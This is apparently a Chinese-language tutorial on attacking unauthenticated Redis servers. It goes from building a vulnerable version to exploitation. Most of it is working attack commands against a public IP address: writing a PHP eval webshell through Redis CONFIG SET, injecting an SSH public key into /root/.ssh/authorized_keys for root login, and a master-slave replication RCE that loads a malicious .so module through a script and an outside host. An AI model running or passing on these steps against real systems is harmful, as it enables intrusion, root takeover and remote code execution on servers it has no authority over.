redis环境搭建
下载有漏洞的redis版本
wget http://download.redis.io/releases/redis-3.2.11.tar.gz
编译文件
make
进入src目录,拷贝两个启动文件到/usr/bin/,返回上一级并拷贝redis.conf
到etc目录
cp redis-server /usr/bin/
cp redis-cli /usr/bin/
cp redis.conf /etc/
编辑/etc/redis.conf
文件取消本地IP访问绑定,并关闭保护模式,允许远程连接redis服务
使用redis-server /etc/redis.conf
启动redis服务
攻击机直接下载redis拷贝文件即可
漏洞利用
使用namp检测远程主机redis开放情况
nmap -A -p 6379 --script redis-info 94.191.84.130
直接尝试登录redis
redis-cli -h 94.191.84.130
使用info查看信息
低权限写文件(需要有增删改查权限)
设置备份目录
CONFIG SET dir /tmp
设置文件名
CONFIG SET dbfilename webshell.php
向备份文件中写入一句话
CONFIG SET webshell "
<?php @eval($_POST['c']);?>
"
保存
save
利用"公私钥"认证获取root权限,ssh免密登陆目标服务器
- 生成公私钥并导出公钥为txt格式
- 写入公钥到redis
- 连接目标redis服务
- 设置备份目录为SSH公钥存放路径/root/.ssh
- 设置备份文件名
- 保存备份(写入公钥)
- 免密ssh登陆
生成公私钥
ssh-keygen -t rsa
导出公钥为txt格式
(echo -e "
"; cat id_rsa.pub; echo -e "
") > 1.txt
写入redis缓存
cat 1.txt | redis-cli -h 94.191.84.130 -x set crack
连接redis查看并设置备份目录
redis-cli -h 94.191.84.130
CONFIG GET dir
CONFIG SET dir /root/.ssh
设置备份文件名并保存备份文件
CONFIG set dbfilename authorized_keys
save
使用私钥免密登陆ssh
ssh -i id_rsa root@94.191.84.130
Redis 基于主从复制的 RCE 利用方式
1 . 连接远程未授权redis服务器
2 .设置主服务器为自己服务器
3.Redis的主机实例通过FULLRESYNC(全量复制)同步文件到从机上
4.然后在从机上加载so文件
5.直接执行恶意命令
先本地开启一个redis>4.0的版本,然后执行
python3.7 redis-rce.py -r free.idcfengye.com -p 10407 -L 94.191.84.130 -f exp.so